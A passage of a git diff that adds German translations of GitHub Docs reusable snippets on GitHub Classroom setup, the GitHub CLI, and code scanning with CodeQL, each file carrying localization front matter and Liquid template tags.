diff --git a/translations/de-DE/data/reusables/classroom/click-settings.md b/translations/de-DE/data/reusables/classroom/click-settings.md
new file mode 100644
index 0000000000..672a3cfc43
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/click-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8c27348c5cd4c6de9c360475ce96f5a2d3b08386
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147888130"
+---
+1. Klicke unter dem Klassenzimmernamen auf {% octicon "gear" aria-label="The gear icon" %} **Einstellungen**.
+  ![Registerkarte „Einstellungen“ für Klassenzimmer](/assets/images/help/classroom/click-settings.png)
diff --git a/translations/de-DE/data/reusables/classroom/click-students.md b/translations/de-DE/data/reusables/classroom/click-students.md
new file mode 100644
index 0000000000..3ff92a68b0
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/click-students.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e7bafc944ab3c6a3a80bc17a901c4b30bd6e3d56
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884445"
+---
+1. Klicke unter dem Klassenzimmernamen auf {% octicon "people" aria-label="The people icon" %} **Kursteilnehmer**.
+  ![Registerkarte „Kursteilnehmer“ für Klassenzimmer](/assets/images/help/classroom/click-students.png)
diff --git a/translations/de-DE/data/reusables/classroom/for-more-information-about-assignment-creation.md b/translations/de-DE/data/reusables/classroom/for-more-information-about-assignment-creation.md
new file mode 100644
index 0000000000..d7031c1cf3
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/for-more-information-about-assignment-creation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3f235dee08016f22509c1ccc257870dd5334817c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104456"
+---
+Weitere Informationen findest du unter [Erstellen einer einzelnen Zuordnung](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) oder [Erstellen einer Gruppenzuweisung](/education/manage-coursework-with-github-classroom/create-a-group-assignment).
diff --git a/translations/de-DE/data/reusables/classroom/free-limited-codespaces-for-verified-teachers-beta-note.md b/translations/de-DE/data/reusables/classroom/free-limited-codespaces-for-verified-teachers-beta-note.md
new file mode 100644
index 0000000000..d3fb621864
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/free-limited-codespaces-for-verified-teachers-beta-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ba5ec94d0459085d82169869efc5ce103951adaa
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103327"
+---
+{% note %}
+
+**Hinweis:** Der {% data variables.product.prodname_codespaces %}-Education-Vorteil ist derzeit in der öffentlichen Betaversion verfügbar und kann noch geändert werden. Während der Betaphase werden deiner Organisation keine Kosten für das Überschreiten des kostenlosen Kontingents berechnet.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/classroom/guide-create-new-classroom.md b/translations/de-DE/data/reusables/classroom/guide-create-new-classroom.md
new file mode 100644
index 0000000000..bc44311778
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/guide-create-new-classroom.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 1d8413e3a645424df038cd5e6ea3544921f9b1b0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104455"
+---
+1. Klicke in der Liste der Organisationen auf die Organisation, die du für deinen Kursraum verwenden möchtest. Optional kannst du eine neue Organisation erstellen. Weitere Informationen findest du unter [Erstellen einer neuen Organisation von Grund auf](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch).
+  ![Organisation in der Liste der Organisationen zum Erstellen eines neuen Kursraums](/assets/images/help/classroom/click-organization.png)
+1. Gib den Namen für deinen Kursraum ein.
+  ![Textfeld zum Eingeben des Kursraumnamens](/assets/images/help/classroom/type-classroom-name.png)
+1. Klicke auf **Kursraum erstellen**.
+  ![Textfeld zum Eingeben des Kursraumnamens](/assets/images/help/classroom/click-create-classroom-button.png)
diff --git a/translations/de-DE/data/reusables/classroom/invitation-url-warning.md b/translations/de-DE/data/reusables/classroom/invitation-url-warning.md
new file mode 100644
index 0000000000..e7909eafc4
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/invitation-url-warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 0d7f8a0c98835986cada9614823707177dca7594
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103320"
+---
+{% warning %}
+
+**Warnung**: Achte darauf, wo du Einladungs-URLs freigibst. Jeder, der eine Einladungs-URL für einen Arbeitsauftrag enthält, kann die Einladung annehmen und ein persönliches Konto für {% data variables.product.product_name %} einem Bezeichner in deiner Liste zuordnen.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/classroom/readme-contains-button-for-online-ide.md b/translations/de-DE/data/reusables/classroom/readme-contains-button-for-online-ide.md
new file mode 100644
index 0000000000..e58f9abdb9
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/readme-contains-button-for-online-ide.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 50bcd5a6f5429ab78a5891e88e5363444631b333
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104452"
+---
+Wenn ein Kursteilnehmer eine Aufgabe mit einer IDE akzeptiert, enthält das Aufgabenrepository eine _README.md_-Datei mit einer speziellen Schaltfläche oben in der Datei. Die Schaltfläche verknüpft den Kursteilnehmer direkt mit dem Arbeitsbereich in der IDE.
diff --git a/translations/de-DE/data/reusables/classroom/reuse-assignment-link.md b/translations/de-DE/data/reusables/classroom/reuse-assignment-link.md
new file mode 100644
index 0000000000..c05027e936
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/reuse-assignment-link.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 70ff7b229b0b72a1c2e0c4dcf4301e7ca24138ce
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067082"
+---
+Du kannst vorhandene Arbeitsaufträge in einem anderen Kursraum wiederverwenden, für den du über Administratorzugriffsberechtigungen verfügst (einschließlich Kursräume in einer anderen Organisation). Weitere Informationen findest du unter [Wiederverwenden einer Aufgabe](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment).
diff --git a/translations/de-DE/data/reusables/classroom/sign-into-github-classroom.md b/translations/de-DE/data/reusables/classroom/sign-into-github-classroom.md
new file mode 100644
index 0000000000..b000e6dd81
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/sign-into-github-classroom.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e12a3d84d6f4530e7b35fb353eb020a3d6594830
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104451"
+---
+1. Melde dich bei {% data variables.product.prodname_classroom_with_url %} an.
diff --git a/translations/de-DE/data/reusables/classroom/supported-lmses.md b/translations/de-DE/data/reusables/classroom/supported-lmses.md
new file mode 100644
index 0000000000..a5fd98f380
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/supported-lmses.md
@@ -0,0 +1,29 @@
+---
+ms.openlocfilehash: 684a0bedb880d61bfdd2b2500115a87a7210c5f8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106965"
+---
+{% data variables.product.prodname_classroom %} unterstützt die Verbindung mit Lernmanagementsystemen (LMS), die LTI-Standards (Learning Tools Interoperability) implementieren.
+
+- LTI-Version 1.3
+- Vorteil von LTI
+
+Mithilfe der LTI kannst du deine Informationen schützen. Es handelt sich dabei um ein Branchenstandardprotokoll, und die Verwendung der LTI durch GitHub Classroom ist durch das IMS Global Learning Consortium (Instructional Management System) zertifiziert. Weitere Informationen findest du in den Artikeln zur [Lerntoolinteroperabilität](https://www.imsglobal.org/activity/learning-tools-interoperability) und dem [IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) auf der Website des IMS Global Learning Consortium.
+
+{% data variables.product.company_short %} hat die Registrierung, die Verbindungsherstellung und den Import von Kurslistendaten aus den folgenden LMS in {% data variables.product.prodname_classroom %} getestet und verifiziert. 
+
+- Canvas
+- Moodle
+- Sakai
+- Google Classroom
+
+{% note %}
+
+**Hinweis:** Andere Lernmanagementsysteme, die LTI 1.3 implementieren, funktionieren möglicherweise auch mit {% data variables.product.prodname_classroom %}, wurden aber noch nicht verifiziert. LMS-Administratoren müssen möglicherweise benutzerdefinierte Einstellungen für den Datenschutz und die Platzierung von Schaltflächen vornehmen und den Lehrkräften eine Dokumentation zur Verfügung stellen, wie sie {% data variables.product.prodname_classroom %} vom LMS aus aufrufen können.
+
+{% endnote %}
+
+{% data reusables.classroom.google-classroom-note %}
diff --git a/translations/de-DE/data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md b/translations/de-DE/data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md
new file mode 100644
index 0000000000..783bf8f900
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cb8e00d564b4a247cdf24538c965617f67cf08b0
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785822"
+---
+Wähle unter „Tests mit automatischer Bewertung hinzufügen“ das Dropdownmenü **Test hinzufügen** aus, und klicke dann auf die Bewertungsmethode, die du verwenden möchtest.
diff --git a/translations/de-DE/data/reusables/classroom/you-can-choose-a-template-repository.md b/translations/de-DE/data/reusables/classroom/you-can-choose-a-template-repository.md
new file mode 100644
index 0000000000..b844ded13d
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/you-can-choose-a-template-repository.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 0fa7a5896099da79770eb66342763803d065b9f8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104432"
+---
+Optional kannst Du ein Vorlagen-Repository als Startcode für die Zuweisung auswählen. Weitere Informationen zu Vorlagen-Repositorys findest Du unter [Erstellen eines Vorlagen-Repositorys](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository).
+
+{% note %}
+
+**Hinweis:** Das Vorlagen-Repository muss zu Deiner Organisation gehören oder ein öffentliches Repository für {% data variables.product.product_name %} sein. 
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md b/translations/de-DE/data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md
new file mode 100644
index 0000000000..13d5051ea9
--- /dev/null
+++ b/translations/de-DE/data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0615f14c16ac8999a0ee6444a4f6cfb08cd6e9c6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103303"
+---
+Du kannst automatisch einen Pull Request erstellen, über den du Feedback geben und die Fragen eines Lernenden zu einem Arbeitsauftrag beantworten kannst. Weitere Informationen zur Überprüfung von Änderungen in einem Pull Request findest du unter [Überprüfen von Änderungen in Pull Requests](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests).
diff --git a/translations/de-DE/data/reusables/cli/about-cli.md b/translations/de-DE/data/reusables/cli/about-cli.md
new file mode 100644
index 0000000000..d59c34fb53
--- /dev/null
+++ b/translations/de-DE/data/reusables/cli/about-cli.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cdfd25a90c97ccbbef320eba7a476e543445f9dc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104431"
+---
+{% data variables.product.prodname_cli %} ist ein Open-Source-Tool zur Verwendung von {% data variables.product.prodname_dotcom %} über die Befehlszeile deines Computers. Wenn du über die Befehlszeile arbeitest, kannst du die {% data variables.product.prodname_cli %} verwenden, um Zeit zu sparen und Kontextwechsel zu vermeiden.
diff --git a/translations/de-DE/data/reusables/cli/cli-extensions.md b/translations/de-DE/data/reusables/cli/cli-extensions.md
new file mode 100644
index 0000000000..0ee62d4fd0
--- /dev/null
+++ b/translations/de-DE/data/reusables/cli/cli-extensions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 63d689d083277519c899d9b7e7885145979d4ac4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103300"
+---
+{% data variables.product.prodname_cli %}-Erweiterungen sind benutzerdefinierte {% data variables.product.prodname_cli %}-Befehle, die jeder erstellen und verwenden kann.
diff --git a/translations/de-DE/data/reusables/cli/cli-features.md b/translations/de-DE/data/reusables/cli/cli-features.md
new file mode 100644
index 0000000000..803b4b1429
--- /dev/null
+++ b/translations/de-DE/data/reusables/cli/cli-features.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 58ce231d8ece478ea6b0108c2cd705a3282ee2f1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104428"
+---
+{% data variables.product.prodname_cli %} enthält {% data variables.product.prodname_dotcom %}-Features wie die folgenden:
+
+- Anzeigen, Erstellen, Klonen und Forken von Repositorys
+- Erstellen, Schließen, Bearbeiten und Anzeigen von Issues und Pull Requests
+- Überprüfen, Differenzieren und Zusammenführen von Pull Request
+- Ausführen, Anzeigen und Auflisten von workflows
+- Erstellen, Auflisten, Anzeigen und Löschen von Releases
+- Erstellen, Bearbeiten, Auflisten, Anzeigen und Löschen von Gists{% ifversion fpt %}
+- Auflisten, Erstellen und Löschen eines Codespace sowie Herstellen einer Verbindung mit einem Codespace{% endif %}
diff --git a/translations/de-DE/data/reusables/cli/cli-installation.md b/translations/de-DE/data/reusables/cli/cli-installation.md
new file mode 100644
index 0000000000..a99e62e480
--- /dev/null
+++ b/translations/de-DE/data/reusables/cli/cli-installation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c2f6f24d4a59a2eae533eb8d042cefa6f5242316
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103296"
+---
+Installationsanweisungen für {% data variables.product.prodname_cli %} findest du im [{% data variables.product.prodname_cli %}-Repository](https://github.com/cli/cli#installation).
diff --git a/translations/de-DE/data/reusables/cli/cli-intro.md b/translations/de-DE/data/reusables/cli/cli-intro.md
new file mode 100644
index 0000000000..f31dada7d4
--- /dev/null
+++ b/translations/de-DE/data/reusables/cli/cli-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bd10d76cc8f39e0b02842d6a060d7d48ea9fd0da
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879019"
+---
+{% data variables.product.prodname_cli %} ist ein Befehlszeilentool, das die Verwendung von Pull Requests, Issues, {% data variables.product.prodname_actions %}-Vorgängen und anderen {% data variables.product.product_name %}-Features in deinem Terminal ermöglicht, sodass du deine Arbeit an einem Ort bewältigen kannst.
diff --git a/translations/de-DE/data/reusables/cli/cli-learn-more.md b/translations/de-DE/data/reusables/cli/cli-learn-more.md
new file mode 100644
index 0000000000..0b8bf93ca3
--- /dev/null
+++ b/translations/de-DE/data/reusables/cli/cli-learn-more.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 73ae86d05e180c05ed17b0fe5ab0df7e05c8ba7f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103292"
+---
+{% note %}
+
+Weitere Informationen zu {% data variables.product.prodname_cli %} findest du unter [Informationen zu {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/cli/filter-issues-and-pull-requests-tip.md b/translations/de-DE/data/reusables/cli/filter-issues-and-pull-requests-tip.md
new file mode 100644
index 0000000000..215870d7d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/cli/filter-issues-and-pull-requests-tip.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 56c901bc9d118c26b3dffc0b75914e612b697798
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104423"
+---
+{% tip %}
+
+**Tipp**: Du kannst Issues oder Pull Requests auch mithilfe der {% data variables.product.prodname_cli %} filtern. Weitere Informationen findest du unter [`gh issue list`](https://cli.github.com/manual/gh_issue_list) oder unter [`gh pr list`](https://cli.github.com/manual/gh_pr_list) in der Dokumentation zur {% data variables.product.prodname_cli %}.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/code-scanning/about-analysis-origins-link.md b/translations/de-DE/data/reusables/code-scanning/about-analysis-origins-link.md
new file mode 100644
index 0000000000..e70287aa4b
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/about-analysis-origins-link.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c1a30bfa8099fa1ba685d4279d82b7e7b6ba67f7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067394"
+---
+Wenn du die Codeüberprüfung mit mehreren Konfigurationen ausführst, kann es passieren, dass eine Warnung mehrere Analyseursprünge aufweist. Wenn eine Warnung mehrere Analyseursprünge hat, kannst du den Status der Warnung für jeden Analyseursprung auf der Warnungsseite einsehen. Weitere Informationen findest du unter [Informationen zu Analyse-Ursprüngen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins).
diff --git a/translations/de-DE/data/reusables/code-scanning/about-code-scanning.md b/translations/de-DE/data/reusables/code-scanning/about-code-scanning.md
new file mode 100644
index 0000000000..5214a2f256
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/about-code-scanning.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 319c1d846b87c5e628122fe7bf3a50798af60ea8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104424"
+---
+{% data variables.product.prodname_code_scanning_capc %} ist ein Feature, das du zum Analysieren des Codes in einem {% data variables.product.prodname_dotcom %}-Repository verwendest, um Sicherheitsrisiken und Codierungsfehler zu finden. Alle von der Analyse identifizierten Probleme werden in {% data variables.product.product_name %} angezeigt.
diff --git a/translations/de-DE/data/reusables/code-scanning/about-codeql-analysis.md b/translations/de-DE/data/reusables/code-scanning/about-codeql-analysis.md
new file mode 100644
index 0000000000..663d69732a
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/about-codeql-analysis.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ecb8b9e2b37dd99b3a1bd53ab7c57aba7db87e88
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103288"
+---
+{% data variables.product.prodname_codeql %} ist die von {% data variables.product.company_short %} entwickelte Codeanalyse-Engine zum Automatisieren von Sicherheitsprüfungen. Du kannst deinen Code mithilfe von {% data variables.product.prodname_codeql %} analysieren und die Ergebnisse als {% data variables.product.prodname_code_scanning %}-Warnungen anzeigen.
diff --git a/translations/de-DE/data/reusables/code-scanning/alert-default-branch.md b/translations/de-DE/data/reusables/code-scanning/alert-default-branch.md
new file mode 100644
index 0000000000..f2e6b6a778
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/alert-default-branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 758c743dc4e469cf175eb14e9ead9f8c4216c578
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147063010"
+---
+Der Status und die Details auf der Warnungsseite spiegeln nur den Status der Warnung für den Standardbranch des Repositorys wider, auch wenn die Warnung in anderen Branches vorhanden ist. Du kannst den Status der Warnung für nicht standardmäßigen Branches im Abschnitt **Betroffene Branches** rechts auf der Warnungsseite sehen. Wenn eine Warnung im Standardbranch nicht vorhanden ist, wird der Status der Warnung als „in Pull Request“ oder „in Branch“ in grau angezeigt.
diff --git a/translations/de-DE/data/reusables/code-scanning/alert-tracking-link.md b/translations/de-DE/data/reusables/code-scanning/alert-tracking-link.md
new file mode 100644
index 0000000000..af878ae8d8
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/alert-tracking-link.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 98ac3a2fc4fe4eb45613c506b36036dc3612c636
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103287"
+---
+
+Weitere Informationen zum Erstellen von Issues zum Nachverfolgen von {% data variables.product.prodname_code_scanning %}-Warnungen findest du unter [Nachverfolgen von {% data variables.product.prodname_code_scanning %}-Warnungen in Issues anhand von Aufgabenlisten](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists).
diff --git a/translations/de-DE/data/reusables/code-scanning/alerts-found-in-generated-code.md b/translations/de-DE/data/reusables/code-scanning/alerts-found-in-generated-code.md
new file mode 100644
index 0000000000..f5a9175bb4
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/alerts-found-in-generated-code.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: bc31880a8f42a48324c81b13db40b9b1d09b1286
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109238"
+---
+Bei kompilierten Sprachen wie Java,{% ifversion codeql-go-autobuild %} Go,{% endif %} C, C++ und C# analysiert {% data variables.product.prodname_codeql %} den gesamten Code, der während der Workflowausführung erstellt wurde. Um die Menge des zu analysierenden Codes zu begrenzen, kannst du durch die Angabe eigener Kompilierungsschritte in einem `run`-Block nur den Code kompilieren, den du analysieren möchtest. Durch die Angabe deiner eigenen Buildschritte mithilfe der Filter `paths` und `paths-ignore` für die Ereignisse `pull_request` und `push` kannst du die Schritte wie gewünscht kombinieren, um sicherzustellen, dass dein Workflow nur ausgeführt wird, wenn der bestimmte Code geändert wird. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore).
+
+Für Sprachen wie{% ifversion codeql-go-autobuild %}{% else %} Go,{% endif %} JavaScript, Python und TypeScript, die {% data variables.product.prodname_codeql %} ohne Kompilierung des Quellcodes analysiert, kannst du zusätzliche Konfigurationsoptionen angeben, um den Umfang des zu analysierenden Codes zu begrenzen. Weitere Informationen findest du unter [Angeben von zu überprüfenden Verzeichnissen](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan).
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/code-scanning/analyze-go.md b/translations/de-DE/data/reusables/code-scanning/analyze-go.md
new file mode 100644
index 0000000000..7563330f8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/analyze-go.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 60f5abc1af5d94ad0c6e7565cf2edca9f009719a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106957"
+---
+Für diese Sprachen analysiert {% data variables.product.prodname_codeql %} die Quelldateien in deinem Repository, die erstellt werden. Für jede dieser Sprachen kannst du `autobuild` deaktivieren und stattdessen benutzerdefinierte Buildbefehle verwenden, um nur die Dateien zu analysieren, die von diesen benutzerdefinierten Befehlen erstellt werden.
diff --git a/translations/de-DE/data/reusables/code-scanning/autobuild-add-build-steps.md b/translations/de-DE/data/reusables/code-scanning/autobuild-add-build-steps.md
new file mode 100644
index 0000000000..882cc27517
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/autobuild-add-build-steps.md
@@ -0,0 +1,2 @@
+If `autobuild` fails, or you want to analyze a different set of source files from those built by the `autobuild` process, you'll need to remove the `autobuild` step from the workflow, and manually add build steps. For C/C++, C#, Go, and Java projects, {% data variables.product.prodname_codeql %} will analyze whatever source code is built by your specified build steps.
+
diff --git a/translations/de-DE/data/reusables/code-scanning/autobuild-compiled-languages.md b/translations/de-DE/data/reusables/code-scanning/autobuild-compiled-languages.md
new file mode 100644
index 0000000000..68214da4e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/autobuild-compiled-languages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 982b04961e4f780a5f1e284dad5620157f68569b
+ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: "148161062"
+---
+Für die unterstützten kompilierten Sprachen kannst du den Code mithilfe der `autobuild`-Aktion im {% data variables.code-scanning.codeql_workflow %} erstellen. So wird vermieden, dass du explizite Buildbefehle für C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} und Java angeben musst.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/code-scanning/beta-alert-tracking-in-issues.md b/translations/de-DE/data/reusables/code-scanning/beta-alert-tracking-in-issues.md
new file mode 100644
index 0000000000..216abbe2e3
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/beta-alert-tracking-in-issues.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 7ff38314d872920cce5e08fe52be7aff4d0df6da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146180855"
+---
+{% ifversion code-scanning-task-lists %}
+
+{% note %}
+
+**Hinweis**: Die Nachverfolgung von {% data variables.product.prodname_code_scanning %}-Warnungen in Issues befindet sich in der Betaversion und kann noch geändert werden.
+
+Dieses Feature unterstützt die native Ausführung der Analyse mithilfe von {% data variables.product.prodname_actions %} oder die externe Ausführung der Analyse über die vorhandene CI/CD-Infrastruktur sowie {% data variables.product.prodname_code_scanning %}-Tools von Drittanbietern, aber _keine_ Drittanbietertools zur Nachverfolgung.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/beta-codeql-ml-queries.md b/translations/de-DE/data/reusables/code-scanning/beta-codeql-ml-queries.md
new file mode 100644
index 0000000000..ec80fd6a11
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/beta-codeql-ml-queries.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 987634e3733b58bc46d94c9efb97864daaf9930a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146180887"
+---
+{% ifversion codeql-ml-queries %}
+
+{% note %}
+
